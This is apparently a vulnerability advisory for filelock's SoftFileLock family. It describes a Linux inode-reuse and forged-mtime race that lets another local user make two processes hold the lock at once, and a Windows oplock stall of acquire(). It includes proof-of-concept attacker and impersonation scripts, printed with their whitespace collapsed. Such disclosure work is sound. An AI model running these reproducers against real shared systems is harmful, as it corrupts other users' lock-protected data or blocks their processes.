SoftFileLock and MarkerSoftFileLock evict an unparsable marker (the lock file at <path>, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. SoftFileLease expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.
Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.
Two of the lock user's processes then run the critical section together with no error. A SoftFileLease waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after lease_duration. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-RKC48J5B).
AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.
Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.
Scope and preconditions
The other user can create files in the lock's directory; a root-owned 1777 directory is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. In the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock.
The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.
File timestamps come from a coarse clock whose future values the other user can compute (CLOCK_REALTIME_COARSE, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).
At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, lease_duration).
No symbolic link, hard link or FIFO takes part, so the fs.protected_* sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. StrictSoftFileLock keys its watch the same way but only raises SoftFileLockProtocolError, so it breaks no lock there.
filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.
Mechanism
SoftFileLock._acquire creates the marker with O_CREAT | O_EXCL (create the file, fail if it exists) and only then writes the holder record. In between it calls fstat and uname, stats /proc/self/ns/pid and reads /proc/<pid>/stat, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. _try_break_stale_lock reads the marker, finds no holder, and calls break_lock_file(lock_file, mtime, ino) only if _marker_unchanged_for(mtime, ino) reaches MALFORMED_LOCK_AGE_THRESHOLD (2.0 s). That function keeps self._marker_seen = ((mtime, ino), first seen) across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.
Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with utime, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.
While the lock is free, the other user creates an empty file at the lock path (inode I) and sets its mtime to T, a tick of the coarse clock about 2.2 s in the future.
Every waiting process of the lock user polls each 50 ms, reads an empty file and records _marker_seen = ((T, I), first seen). After 2 s each poll calls break_lock_file, whose rename fails with EPERM (operation not permitted; seen with strace): the directory is sticky and the file belongs to the other user. suppress(OSError, ...) swallows the error, the file stays, and nothing resets _marker_seen.
When the coarse clock reaches T, the other user unlinks its file. Inode I is free.
Process F of the lock user polls during tick T. Its O_EXCL create succeeds, and its marker is inode I with mtime T.
Process S polls before F has written its record. It reads an empty file with pair (T, I), _marker_unchanged_for returns the 2.2 s that S spent watching the other user's file, and S calls break_lock_file(lock_file, T, I).
break_lock_file compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.
F writes its record into the unlinked inode and returns from acquire(). The path is empty, so the next contender to poll creates a marker and returns from acquire() too. F's release finds another inode at the path (_unlink_open_marker) and leaves it. Neither holder learns anything.
Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick T, and a waiter broke 7 of those 13.
MarkerSoftFileLock and SoftFileLease hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...). _marker_seen is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair (T, I) has gone unrefreshed for lease_duration, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using SoftFileLease(path, lease_duration=2) and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's on_compromise (the callback that tells a holder it lost the lock) reported owner-changed 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.
Reproduction
The scanner's reproducer for finding ANT-2026-RKC48J5B, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
#!/usr/bin/env python3importosimportshutilimportsubprocessimportsysimporttimeLOCK_DIR="/tmp/locks"LOCK_PATH="/tmp/locks/app.lock"HOLDS_LOG="/tmp/holds.log"defstart_victims():# a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in itshutil.rmtree(LOCK_DIR,ignore_errors=True)os.mkdir(LOCK_DIR)os.chmod(LOCK_DIR,0o1777)victim=[sys.executable,"/tmp/repro.d/victim.py",LOCK_PATH]withopen(HOLDS_LOG,"w")asholds_log:return[subprocess.Popen(victim,stdout=holds_log,user="victim",group="victim",extra_groups=[])for_inrange(10)]defholds_entered_after(moment):holds=[]forlineinopen(HOLDS_LOG):fields=dict(field.split("=")forfieldinline.split())hold={"entered":float(fields["entered"]),"exited":float(fields["exited"]),"line":line.strip()}ifhold["entered"]>moment:holds.append(hold)returnsorted(holds,key=lambdahold:hold["entered"])defattack_until_overlap(phase,date_offset_s,max_attempts):victims=start_victims()attacker=[sys.executable,"/tmp/repro.d/attacker.py",LOCK_PATH,str(date_offset_s)]forattemptinrange(1,max_attempts+1):run=subprocess.run(attacker,stdout=subprocess.PIPE,text=True,check=True,user="attacker",group="attacker",extra_groups=[])print(f"{phase} attempt {attempt}: {run.stdout.strip()}",flush=True)unlinked_at=float(run.stdout.split("unlinked_at=")[1])time.sleep(0.4)# a hold lasts 0.3 s: whoever entered after the unlink has logged it by now# A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the# report), so those are left out. time.monotonic() is one clock for every process on the machine.holds=holds_entered_after(unlinked_at+0.001)overlaps=[(first,second)forfirst,secondinzip(holds,holds[1:])ifsecond["entered"]<first["exited"]]ifoverlaps:breakforvictiminvictims:victim.kill()victim.wait()returnoverlaps##### control: the attacker's file is dated an hour after the tick in which it is unlinkedcontrol=attack_until_overlap("CONTROL",date_offset_s=3600,max_attempts=20)##### attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick getsobserved=attack_until_overlap("OBSERVED",date_offset_s=0,max_attempts=250)##### check: no two victims may ever be inside the lock at onceforphase,overlapsin[("CONTROL",control),("OBSERVED",observed)]:print(f"{phase}: {len(overlaps)} time(s) two victims inside the lock at once")forfirst,secondinoverlaps:print(f"{phase}: {first['line']}")print(f"{phase}: {second['line']}")print("BUG"ifobservedandnotcontrolelse"OK")
repro.d/attacker.py
#!/usr/bin/env python3importosimportrandomimportsysimporttimelock_path,date_offset_s=sys.argv[1],int(sys.argv[2])CLOCK_REALTIME_COARSE=5# <linux/time.h>; the kernel stamps new files from it, and it moves once per timer ticktick_ns=round(time.clock_getres(CLOCK_REALTIME_COARSE)*1e9)##### take the lock path the moment it is free, like any contenderwhileTrue:try:fd=os.open(lock_path,os.O_CREAT|os.O_EXCL|os.O_WRONLY,0o644)breakexceptFileExistsError:time.sleep(0.002)##### Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random##### part makes some attempts free the path just before one of their polls.park_s=random.uniform(2.2,2.25)release_tick=time.clock_gettime_ns(CLOCK_REALTIME_COARSE)+round(park_s*1e9/tick_ns)*tick_nsmtime_ns=release_tick+date_offset_s*10**9os.utime(fd,ns=(mtime_ns,mtime_ns))inode=os.fstat(fd).st_inoos.close(fd)time.sleep(park_s-0.05)whiletime.clock_gettime_ns(CLOCK_REALTIME_COARSE)<release_tick:passos.unlink(lock_path)# a marker created before the next tick gets mtime == release_tick and, on ext4, this inodeunlinked_at=time.monotonic()time.sleep(0.1)# exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarerprint(f"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}")
repro.d/victim.py
#!/usr/bin/env python3importosimportsysimporttimefromfilelockimportSoftFileLocklock=SoftFileLock(sys.argv[1])whileTrue:withlock:entered=time.monotonic()time.sleep(0.3)# work on whatever the lock protectsprint(f"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}",flush=True)time.sleep(0.05)
Attack sequence
sequenceDiagram
participant X as other local user
participant P as lock path (sticky dir, ext4, 4 ms clock ticks)
participant S as process S of the lock user (waiting)
participant F as process F of the lock user
X->>P: create empty file, inode I, utime to future tick T
S->>P: poll: empty file, key (T, I), watch starts
Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting
rect rgb(255, 214, 214)
X->>P: at tick T: unlink own file, I is free
F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written
S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker
F->>P: writes record into the unlinked inode, acquire() returns
Note over S,F: the path is empty, the next contender creates a marker: two holders, no error
end
Evidence
The scanner's reproducer runs ten copies of a default-option SoftFileLock program (0.3 s of work per hold, 50 ms between holds) as user victim in a root-owned 1777 directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user attacker waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when CLOCK_REALTIME_COARSE reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.
In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two victim processes overlapping in time with is_locked=True, for example pid=217 entered=241.295272609 exited=241.59542327 and pid=216 entered=241.295518489 exited=241.595641553. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.
Our review ran the reproducer over a loop-mounted ext4 /tmp (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, --cpus 2). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that utime cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.
Impact
A local user who can create a file in a soft lock's directory, a sticky directory such as /tmp included, gets two processes of another user to hold the same SoftFileLock at once (MarkerSoftFileLock too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. For SoftFileLease the effect is a live, refreshed claim taken after milliseconds instead of after lease_duration without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.
Workarounds
Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. Raise poll_interval so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.
On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.
Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.
AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.
Classification from the review: security, conditional on an unheld marker that another account can open.
Scope and preconditions
Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover.
Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails.
Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with O_RDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancel_check between attempts only. With AsyncSoftFileLock(run_in_executor=False) the event loop waits.
Stale break: break_lock_file renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.
e35c3af "feat(soft): detect and break stale locks" (#476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O_CREAT | O_EXCL and never opened an existing one. #476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE_COMPLETE_IF_OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in _read_lock_file with bfbfa76 (#548, 3.29.1) and the break moved into break_lock_file with d244c6d (#551, 3.29.2); the by-path calls stayed.
Mechanism
Each attempt of _acquire first calls os.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. _acquire then calls _try_break_stale_lock, which calls _read_lock_file: os.lstat, then os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On Windows O_NOFOLLOW and O_NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. _check_give_up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel_check by its length. Once the open returns, the attempt ends and _check_give_up raises Timeout, because the deadline has passed.
A marker whose holder is gone takes the second path. break_lock_file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.
Reproduction
The review's reproducers, quoted as received. oplock_vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock_semantics_vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at 3e4c5ef, where _read_lock_file and break_lock_file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).
oplock_vm.py
"""
Windows oplock checks beyond the lock-file open PR #​835 changes: release() and the soft locks' marker read.
Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock
[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
[1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
marker through os.open, which waits for the acknowledgement, past timeout=1.
A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""from__future__importannotationsimportctypesimportosimportsubprocessimportsysimportthreadingimporttimefromctypesimportwintypesfromfilelockimportFileLock,SoftFileLock,Timeoutuser,password,base=sys.argv[1],sys.argv[2],sys.argv[3]icacls=os.path.join(os.environ["SYSTEMROOT"],"System32","icacls.exe")os.makedirs(base,exist_ok=True)subprocess.run([icacls,base,"/grant",f"{user}:(OI)(CI)(M)"],check=True,capture_output=True)advapi32=ctypes.WinDLL("advapi32",use_last_error=True)kernel32=ctypes.WinDLL("kernel32",use_last_error=True)advapi32.LogonUserW.argtypes=[wintypes.LPCWSTR,wintypes.LPCWSTR,wintypes.LPCWSTR,wintypes.DWORD,wintypes.DWORD,ctypes.POINTER(wintypes.HANDLE),]kernel32.CreateFileW.restype=kernel32.CreateEventW.restype=wintypes.HANDLEkernel32.CreateFileW.argtypes=[wintypes.LPCWSTR,wintypes.DWORD,wintypes.DWORD,ctypes.c_void_p,wintypes.DWORD,wintypes.DWORD,wintypes.HANDLE,]classOverlapped(ctypes.Structure):_fields_=(("Internal",ctypes.c_void_p),("InternalHigh",ctypes.c_void_p),("Offset",wintypes.DWORD),("OffsetHigh",wintypes.DWORD),("hEvent",wintypes.HANDLE),)kernel32.DeviceIoControl.argtypes=[wintypes.HANDLE,wintypes.DWORD,ctypes.c_void_p,wintypes.DWORD,ctypes.c_void_p,wintypes.DWORD,ctypes.c_void_p,ctypes.POINTER(Overlapped),]kernel32.CloseHandle.argtypes=[wintypes.HANDLE]kernel32.WaitForSingleObject.argtypes=[wintypes.HANDLE,wintypes.DWORD]GENERIC_READ=0x80000000SHARE_ALL=0x7OPEN_EXISTING=3FLAG_OVERLAPPED=0x40000000INVALID_HANDLE=wintypes.HANDLE(-1).valueFSCTL_REQUEST_OPLOCK_LEVEL_1=0x00090000ERROR_IO_PENDING=997hold=threading.Event()real_unlink=os.unlinkdefimpersonate()->None:token=wintypes.HANDLE()ifnotadvapi32.LogonUserW(user,".",password,3,0,ctypes.byref(token)):raisectypes.WinError(ctypes.get_last_error())ifnotadvapi32.ImpersonateLoggedOnUser(token):raisectypes.WinError(ctypes.get_last_error())defrequest_level1(path:str)->tuple[int,Overlapped]|None:handle=kernel32.CreateFileW(path,GENERIC_READ,SHARE_ALL,None,OPEN_EXISTING,FLAG_OVERLAPPED,None)ifhandle==INVALID_HANDLE:returnNoneoverlapped=Overlapped(hEvent=kernel32.CreateEventW(None,True,False,None))if(notkernel32.DeviceIoControl(handle,FSCTL_REQUEST_OPLOCK_LEVEL_1,None,0,None,0,None,ctypes.byref(overlapped))andctypes.get_last_error()==ERROR_IO_PENDING):returnhandle,overlappedkernel32.CloseHandle(handle)kernel32.CloseHandle(overlapped.hEvent)returnNonedefdrop(granted:tuple[int,Overlapped])->None:handle,overlapped=grantedkernel32.CloseHandle(handle)kernel32.WaitForSingleObject(overlapped.hEvent,5000)kernel32.CloseHandle(overlapped.hEvent)defrelease_under_oplock_requests(label:str,lock_path:str,cycles:int)->bool:stop=threading.Event()granted_box:list[tuple[int,Overlapped]]=[]defspinner()->None:impersonate()whilenotstop.is_set():if(granted:=request_level1(lock_path))isnotNone:granted_box.append(granted)hold.wait()returnreleasing=threading.Event()release_durations:list[float]=[]defowner()->None:# thread_local locks release only on the acquiring thread, so acquire and release stay on this onefor_inrange(cycles):lock=FileLock(lock_path,is_singleton=False)lock.acquire(timeout=5)started=time.monotonic()releasing.set()lock.release()releasing.clear()release_durations.append(time.monotonic()-started)ifgranted_box:returnholder=threading.Thread(target=spinner,daemon=True)holder.start()owner_thread=threading.Thread(target=owner,daemon=True)owner_thread.start()owner_thread.join(60)stalled=owner_thread.is_alive()andreleasing.is_set()stop.set()longest=max(release_durations,default=0.0)*1000print(f" {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")ifstalled:print(" release() still running after 60 s while the oplock holder has not answered the break")ifgranted_box:drop(granted_box[0])owner_thread.join(10)print(f" release() returned after the holder closed its handle: {notowner_thread.is_alive()}")returnstalledprint("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")stalled_native=release_under_oplock_requests("natural",os.path.join(base,"native.lock"),500)print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")defslow_unlink(path:str,*,dir_fd:int|None=None)->None:time.sleep(0.2)real_unlink(path,dir_fd=dir_fd)os.unlink=slow_unlinkstalled_scheduled=release_under_oplock_requests("scheduled",os.path.join(base,"native-scheduled.lock"),20)os.unlink=real_unlinkprint("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")marker=os.path.join(base,"soft.lock")holder=SoftFileLock(marker,is_singleton=False)holder.acquire()holder_fd=holder._context.lock_file_fd# noqa: SLF001os.close(holder_fd)# the marker stays with a live PID, as after a holder that lost only its handleimpersonate_done=threading.Event()granted_soft:list[tuple[int,Overlapped]]=[]deftake_soft_oplock()->None:impersonate()if(granted:=request_level1(marker))isnotNone:granted_soft.append(granted)impersonate_done.set()hold.wait()threading.Thread(target=take_soft_oplock,daemon=True).start()impersonate_done.wait(5)print(f" oplock granted: {bool(granted_soft)}")outcome=["still running after 25 s"]defcontend()->None:started=time.monotonic()try:SoftFileLock(marker,is_singleton=False).acquire(timeout=1)outcome[0]=f"acquired after {time.monotonic()-started:.2f} s"exceptTimeout:outcome[0]=f"Timeout after {time.monotonic()-started:.2f} s"exceptOSErroraserror:outcome[0]=f"{type(error).__name__} after {time.monotonic()-started:.2f} s: {error}"contender=threading.Thread(target=contend,daemon=True)contender.start()contender.join(25)print(f" contender: {outcome[0]}")soft_stalled="still running"inoutcome[0]ifgranted_soft:drop(granted_soft[0])contender.join(10)print(f" after the holder closed: {outcome[0]}")hold.set()print("STALLS"ifstalled_nativeorstalled_scheduledorsoft_stalledelse"BOUNDED")
Recorded output of section [2]:
[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
oplock granted: True
contender: Timeout after 10.02 s
after the holder closed: Timeout after 10.02 s
oplock_semantics_vm.py
"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.
Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""from__future__importannotationsimportctypesimportosimportsysimportthreadingimporttimefromctypesimportwintypesbase=sys.argv[1]os.makedirs(base,exist_ok=True)kernel32=ctypes.WinDLL("kernel32",use_last_error=True)kernel32.CreateFileW.restype=kernel32.CreateEventW.restype=wintypes.HANDLEkernel32.CreateFileW.argtypes=[wintypes.LPCWSTR,wintypes.DWORD,wintypes.DWORD,ctypes.c_void_p,wintypes.DWORD,wintypes.DWORD,wintypes.HANDLE,]classOverlapped(ctypes.Structure):_fields_=(("Internal",ctypes.c_void_p),("InternalHigh",ctypes.c_void_p),("Offset",wintypes.DWORD),("OffsetHigh",wintypes.DWORD),("hEvent",wintypes.HANDLE),)kernel32.DeviceIoControl.argtypes=[wintypes.HANDLE,wintypes.DWORD,ctypes.c_void_p,wintypes.DWORD,ctypes.c_void_p,wintypes.DWORD,ctypes.c_void_p,ctypes.POINTER(Overlapped),]kernel32.CloseHandle.argtypes=[wintypes.HANDLE]kernel32.WaitForSingleObject.argtypes=[wintypes.HANDLE,wintypes.DWORD]GENERIC_READ,GENERIC_WRITE=0x80000000,0x40000000SHARE_ALL,OPEN_EXISTING,FLAG_OVERLAPPED=0x7,3,0x40000000INVALID_HANDLE=wintypes.HANDLE(-1).valueLEVELS={"level1":0x00090000,"batch":0x00090008}deftake(path:str,level:str)->tuple[int,Overlapped]:handle=kernel32.CreateFileW(path,GENERIC_READ,SHARE_ALL,None,OPEN_EXISTING,FLAG_OVERLAPPED,None)overlapped=Overlapped(hEvent=kernel32.CreateEventW(None,True,False,None))pending=notkernel32.DeviceIoControl(handle,LEVELS[level],None,0,None,0,None,ctypes.byref(overlapped))assertpendingandctypes.get_last_error()==997,ctypes.get_last_error()returnhandle,overlappeddefdrop(granted:tuple[int,Overlapped])->None:kernel32.CloseHandle(granted[0])kernel32.WaitForSingleObject(granted[1].hEvent,5000)kernel32.CloseHandle(granted[1].hEvent)deftimed(label:str,operation)->None:# noqa: ANN001done=threading.Event()result=["still running after 15 s"]defrun()->None:started=time.monotonic()try:operation()result[0]=f"returned after {(time.monotonic()-started)*1000:.1f} ms"exceptOSErroraserror:result[0]=f"{type(error).__name__} after {(time.monotonic()-started)*1000:.1f} ms: {error}"done.set()threading.Thread(target=run,daemon=True).start()done.wait(15)print(f" {label}: {result[0]}")returndonedefopen_read(path:str)->None:os.close(os.open(path,os.O_RDONLY|os.O_BINARY))defopen_write(path:str)->None:os.close(os.open(path,os.O_RDWR|os.O_BINARY))defcreate_new(path:str)->None:os.close(os.open(path,os.O_WRONLY|os.O_CREAT|os.O_EXCL|os.O_BINARY))forlevelinLEVELS:forlabel,operation,consumesin(("os.open O_RDONLY",open_read,False),("os.open O_RDWR",open_write,False),("os.open O_CREAT|O_EXCL on the existing file",create_new,False),("os.utime by path",lambdap:os.utime(p,None),False),("os.rename",lambdap:os.rename(p,p+".moved"),True),("os.unlink",os.unlink,True),):path=os.path.join(base,f"{level}-{label.replace(' ','_').replace('|','')}.lock")withopen(path,"w",encoding="utf-8")ashandle:handle.write("1\nhost\n")granted=take(path,level)print(f"{level}, {label}")done=timed(label,lambdap=path,op=operation:op(p))drop(granted)done.wait(5)print(f" after the holder closed: {'done'ifdone.is_set()else'still running'}")
The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.O_RDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed O_CREAT | O_EXCL create returned at once.
Failure sequence
sequenceDiagram
participant A as other local account
participant M as soft.lock marker, no handle open
participant L as lock user: SoftFileLock(path).acquire(timeout=1)
participant W as Windows (NTFS)
A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED)
A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged
L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once
L->>W: os.lstat(soft.lock) regular file
rect rgb(255, 214, 214)
L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file
Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted
W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
end
L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s
Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken
Evidence
